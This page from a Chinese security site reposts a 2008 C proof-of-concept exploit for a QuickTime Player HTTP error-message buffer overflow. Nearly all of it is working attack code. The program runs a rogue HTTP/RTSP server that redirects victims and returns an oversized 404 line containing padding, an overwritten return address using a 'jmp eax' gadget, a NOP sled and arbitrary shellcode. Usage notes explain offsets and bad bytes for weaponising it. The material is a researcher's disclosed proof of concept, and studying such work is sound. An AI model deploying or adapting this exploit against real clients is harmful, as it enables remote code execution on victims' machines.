首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Quicktime Player <= 7.3.1.70 HTTP error message buffer-overflow 0.1
来源:aluigi.org 作者:Luigi 发布时间:2008-01-15  

/*
    Copyright 2008 Luigi Auriemma

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA

    http://www.gnu.org/licenses/gpl.txt
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <time.h>
#include <ctype.h>
#include <sys/stat.h>

#ifdef WIN32
    #include <direct.h>
    #include <ws2tcpip.h>
    #include <winsock.h>
    #include "winerr.h"

    #define close       closesocket
    #define sleep       Sleep
    #define in_addr_t   uint32_t
    #define ONESEC      1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <sys/ioctl.h>
    #include <net/if.h>
    #include <pthread.h>

    #define ONESEC      1
    #define strnicmp    strncasecmp
    #define stricmp     strcasecmp
    #define stristr     strcasestr
#endif

#ifdef WIN32
    #define quick_thread(NAME, ARG) DWORD WINAPI NAME(ARG)
    #define thread_id   DWORD
#else
    #define quick_thread(NAME, ARG) void *NAME(ARG)
    #define thread_id   pthread_t
#endif

thread_id quick_threadx(void *func, void *data) {
    thread_id       tid;
#ifdef WIN32
    if(!CreateThread(NULL, 0, func, data, 0, &tid)) return(0);
#else
    pthread_attr_t  attr;
    pthread_attr_init(&attr);
    pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
    if(pthread_create(&tid, &attr, func, data)) return(0);
#endif
    return(tid);
}

typedef uint8_t     u8;
typedef uint16_t    u16;
typedef uint32_t    u32;

 

#define VER             "0.1"
#define BUFFSZ          0xffff                      // for speed and for any UDP packet
#define PORT            80
#define MAXWAIT         10

#define EXPLOIT_URI     "life_is_pain_leave_it"
#define QTL             "<?xml version=\"1.0\"?>\n" \
                        "<?quicktime type=\"application/x-quicktime-media-link\"?>\n" \
                        "<embed src=\"rtsp://%s/file.mp3\" autoplay=\"true\" type=\"audio/quicktime\"></embed>\n"

#define SEND(A,B,C)     if(send(A, B, C, 0) < 0) goto quit
#define RECV(A,B,C)     recv(A, B, C, 0)

 

u8 *fdload(u8 *fname, int *len);
int hex2bin(u8 *data, int len);
int bind_tcp_socket(struct sockaddr_in *peer);
quick_thread(client, int sock);
int timeout(int sock);
in_addr_t resolv(char *host);
in_addr_t get_sock_ip_port(int sd, u16 *port);
void sock_printf(int sd, char *fmt, ...);
void open_log(u8 *fname);
void std_err(void);

 

u32     exploit_offset          = 0,
        exploit_address         = 0;
int     exploit_shellcodelen    = 0;
u8      *exploit_shellcode      = "";

 

int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sdl,
            sda,
            psz;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    fputs("\n"
        "Quicktime Player <= 7.3.1.70 HTTP error message buffer-overflow "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 4) {
        printf("\n"
            "Usage: %s <offset> <retaddr> <shellcode>\n"
            "\n"
            "- offset is the offset in the error messsage (so \"HTTP/1.1 404\" excluded) which\n"
            "  will overwrite the return address, if in doubt try with 1926, 2134, 1870 and\n"
            "  so on (this offset seems to change depending by the URL or the QTL file)\n"
            "- retaddr is the return address you want to overwrite, a good value is\n"
            "  0x675b29eb because when the function returns, EAX will point to the previous\n"
            "  offset. 0x675b29eb has a \"jmp eax\" so the code flow will continue where are\n"
            "  located the bytes of our return address \"eb 29\" which means \"jmp 0x29\".\n"
            "  the tool will automatically fill this \"space\" if retaddr finishes with 0xeb\n"
            "- shellcode is a file containing the C-style shellcode you want to execute\n"
            "  (so something like \"\\x31\\xc9\\x83\\xe9\\xdd\\xd9\\xee\\xd9... and so on)\n"
            "  remember that the only bytes which must be avoided are 0x00 0x0d 0x0a\n"
            "  use \"\" to skip the usage of a shellcode\n"
            "\n"
            "Example:\n"
            "  quicktimebof 2134 0x41414141 \"\"\n"
            "  quicktimebof 2134 0x675b29eb shellcode.txt\n"
            "\n"
            "Remember that your ports 554 and 7070 must be closed and non-filtered!\n"
            "\n", argv[0]);
        exit(1);
    }

    sscanf(argv[1], "%d", &exploit_offset);
    sscanf(argv[2], "%x", &exploit_address);
    if(argv[3][0]) {
        exploit_shellcode = fdload(argv[3], &exploit_shellcodelen);
        exploit_shellcodelen = hex2bin(exploit_shellcode, exploit_shellcodelen);
        printf("- C/Perl/hex shellcode converted to binary (%d bytes)\n", exploit_shellcodelen);
    }

    peer.sin_addr.s_addr = INADDR_ANY;
    peer.sin_port        = htons(PORT);
    peer.sin_family      = AF_INET;
    sdl = bind_tcp_socket(&peer);

    printf("\n"
        "- now connect your Quicktime client to rtsp://127.0.0.1/file.mp3\n"
        "  this PoC supports also qtl, use http://127.0.0.1/file.qtl in your browser\n"
        "\n");

    for(;;) {
        psz = sizeof(struct sockaddr_in);
        sda = accept(sdl, (struct sockaddr *)&peer, &psz);
        if(sda < 0) std_err();

        sock_printf(sda, "connected\n");

        if(!quick_threadx(client, (void *)sda)) {
            sock_printf(sda, "unable to create thread\n");
            close(sda);
        }
    }

    close(sdl);
    return(0);
}

 

u8 *fdload(u8 *fname, int *len) {
    struct stat xstat;
    FILE    *fd;
    u8      *ret;

    printf("- open %s\n", fname);
    fd = fopen(fname, "rb");
    if(!fd) std_err();
    fstat(fileno(fd), &xstat);
    ret = malloc(xstat.st_size);
    if(!ret) std_err();
    *len = fread(ret, 1, xstat.st_size, fd);
    fclose(fd);
    printf("- %d bytes loaded\n", *len);
    return(ret);
}

 

int hex2bin(u8 *data, int len) {
    int     c;
    u8      *i,
            *o,
            *l;

    i = data;
    o = data;
    l = data + len;

    for(; i < l; i++) {
        if((*i == '\r') || (*i == '\n')) continue;
        if((*i == '#') || (*i == '/') || (*i == 'm') || (*i == 'u')) {
            for(; i < l; i++) {                 // "my" and "unsigned"
                if(*i == '\n') break;
            }
        } else {
            break;
        }
    }

    for(; i < l; i++) {
        c = tolower(*i);
        if(((c >= '0') && (c <= '9')) || ((c >= 'a') && (c <= 'f'))) {
            sscanf(i, "%02x", &c);
            *o++ = c;
            i++;
        }
    }
    return(o - data);
}

 

int bind_tcp_socket(struct sockaddr_in *peer) {
    int     sd,
            psz,
            on = 1;

    peer->sin_addr.s_addr = INADDR_ANY;
    if(peer->sin_port) {
        printf("- bind %s:%hu\n",
            inet_ntoa(peer->sin_addr), ntohs(peer->sin_port));
    } else {
        peer->sin_port    = 0;
    }
    peer->sin_family      = AF_INET;

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();

    if(peer->sin_port) {
        if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
          < 0) std_err();
    }

    if(bind(sd, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
      < 0) std_err();

    psz = sizeof(struct sockaddr_in);
    if(getsockname(sd, (struct sockaddr *)peer, &psz)
      < 0) std_err();

    if(listen(sd, SOMAXCONN)
      < 0) std_err();

    return(sd);
}

 

quick_thread(client, int sd) {
    struct  sockaddr_in peer;
    struct  in_addr myip;
    int     t,
            i,
            len,
            rem;
    u8      req[16],
            uri[128],
            useragent[128],
            *buff,
            *p;

    buff = NULL;
    memset(&peer, 0, sizeof(struct sockaddr_in));

    buff = malloc(BUFFSZ + 1);
    if(!buff) goto quit;

    myip.s_addr = get_sock_ip_port(sd, NULL); // useful for automatic backconnect shell too

    for(;;) {
        len = 0;
        for(;;) {
            t = recv(sd, buff + len, BUFFSZ - len, 0);
            if(t <= 0) goto quit;
            len += t;
            buff[len] = 0;
            if(strstr(buff, "\r\n\r\n") || strstr(buff, "\n\n")) break;
        }

        printf("\n%s", buff);
        sscanf(buff, "%15[^ \t\r\n] %127[^ \t\r\n]", req, uri);

        p = (u8 *)stristr(buff, "\nContent-Length:");
        if(p) {
            len = atoi(p + 17);
            if(len < 0) goto quit;
            for(rem = BUFFSZ; len; len -= t) {
                if(len < rem) rem = len;
                t = recv(sd, buff, rem, 0);
                if(t <= 0) goto quit;
            }
        }

        sleep(ONESEC);  // I use sleep here because gives better results, moreover in localhost

        if(stristr(uri, ".qtl")) {
            len = sprintf(buff,
                "HTTP/1.0 200 OK\r\n"
                "Content-Type: application/x-quicktimeplayer\r\n"
                "Content-Length: %d\r\n"
                "\r\n", strlen(QTL) - 2 /* %s */ + strlen(inet_ntoa(myip)));

            len += sprintf(buff + len,
                QTL,
                inet_ntoa(myip));

            send(sd, buff, len, 0);
            break;
        }
        if(!stristr(uri, EXPLOIT_URI)) {    // in my tests this step is very very useful for the success of the exploitation
            len = sprintf(buff,
                "HTTP/1.0 302\r\n"
                "Location: rtsp://%s/%s\r\n"
                "\r\n",
                inet_ntoa(myip),
                EXPLOIT_URI);

            send(sd, buff, len, 0);
            break;
        }

        p = (u8 *)stristr(buff, "\nuser-agent:");
        if(p) sscanf(p + 13, "%127[^ \t\r\n]", useragent);

        p = buff;
        p += sprintf(p, "HTTP/1.0 404 ");

        printf("- insert %d bytes with value 0x01\n", exploit_offset);
        for(i = 0; i < exploit_offset; i++) *p++ = 0x01;

        printf("- place return address at offset %d\n", p - buff);
        *(u32 *)p = exploit_address;
        p += 4;

        if((exploit_address & 0xff) == 0xeb) {
            printf("- add additional bytes for the jmp XX in the return address (jmp eax)\n");
            for(i = ((exploit_address >> 8) & 0xff) - 4 + 2; i > 0; i--) *p++ = 0x90;
        }

        printf("- add shellcode of %d bytes\n", exploit_shellcodelen);
        p += sprintf(p, "%s\r\n\r\n", exploit_shellcode);

        printf("- send %d bytes to the client\n", p - buff);
        send(sd, buff, p - buff, 0);
    }

    sleep(ONESEC * 3);  // it's not needed but I like it

quit:
    if(buff) free(buff);
    sock_printf(sd, "disconnected\n");
    close(sd);
    return(0);
}

 

int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec  = MAXWAIT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

 

in_addr_t resolv(char *host) {
    struct      hostent *hp;
    in_addr_t   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(hp) host_ip = *(in_addr_t *)(hp->h_addr);
    }
    return(host_ip);
}

 

in_addr_t get_sock_ip_port(int sd, u16 *port) {
    struct sockaddr_in  peer;
    int         psz;

    psz = sizeof(struct sockaddr_in);

    if(getsockname(sd, (struct sockaddr *)&peer, &psz)
      < 0) std_err();

    if(port) *port = ntohs(peer.sin_port);

    return(peer.sin_addr.s_addr);
}

 

in_addr_t get_peer_ip_port(int sd, u16 *port) {
    struct sockaddr_in  peer;
    int         psz;

    psz = sizeof(struct sockaddr_in);

    if(getpeername(sd, (struct sockaddr *)&peer, &psz) < 0) {
        peer.sin_addr.s_addr = 0;                   // avoids possible problems
        peer.sin_port        = 0;
    }

    if(port) *port = ntohs(peer.sin_port);

    return(peer.sin_addr.s_addr);
}

 

void sock_printf(int sd, char *fmt, ...) {
    va_list     ap;
    in_addr_t   ip;
    int         len;
    u16         port;
    u8          buff[1024];                         // unfortunately its needed for
                                                    // a "one line show"... blah
    ip = get_peer_ip_port(sd, &port);

    va_start(ap, fmt);
    len = sprintf(buff, "  %s:%hu ", inet_ntoa(*(struct in_addr *)&ip), port);
    len += vsnprintf(buff + len, sizeof(buff) - len - 1, fmt, ap);
    va_end(ap);

    if((len < 0) || (len >= sizeof(buff))) {
        strcpy(buff + sizeof(buff) - 6, "...\n");
    }

    fputs(buff, stdout);
}

 

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Agares PhpAutoVideo 2.21 (arti
·X7 Chat <= 2.0.5 (day) Remote
·NUVICO DVR NVDV4 / PdvrAtl Mod
·Xforum 1.4 (topic) Remote SQL
·photokron <= 1.7 (update scrip
·Macrovision FlexNet DownloadMa
·0DayDB 2.3 (delete id) Remote
·Evilsentinel <= 1.0.9 (multipl
·Cisco VPN Client IPSec Driver
·SunOS 5.10 Remote ICMP Kernel
·PixelPost 1.7 Remote Blind SQL
·Microsoft Message Queue POC ex
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved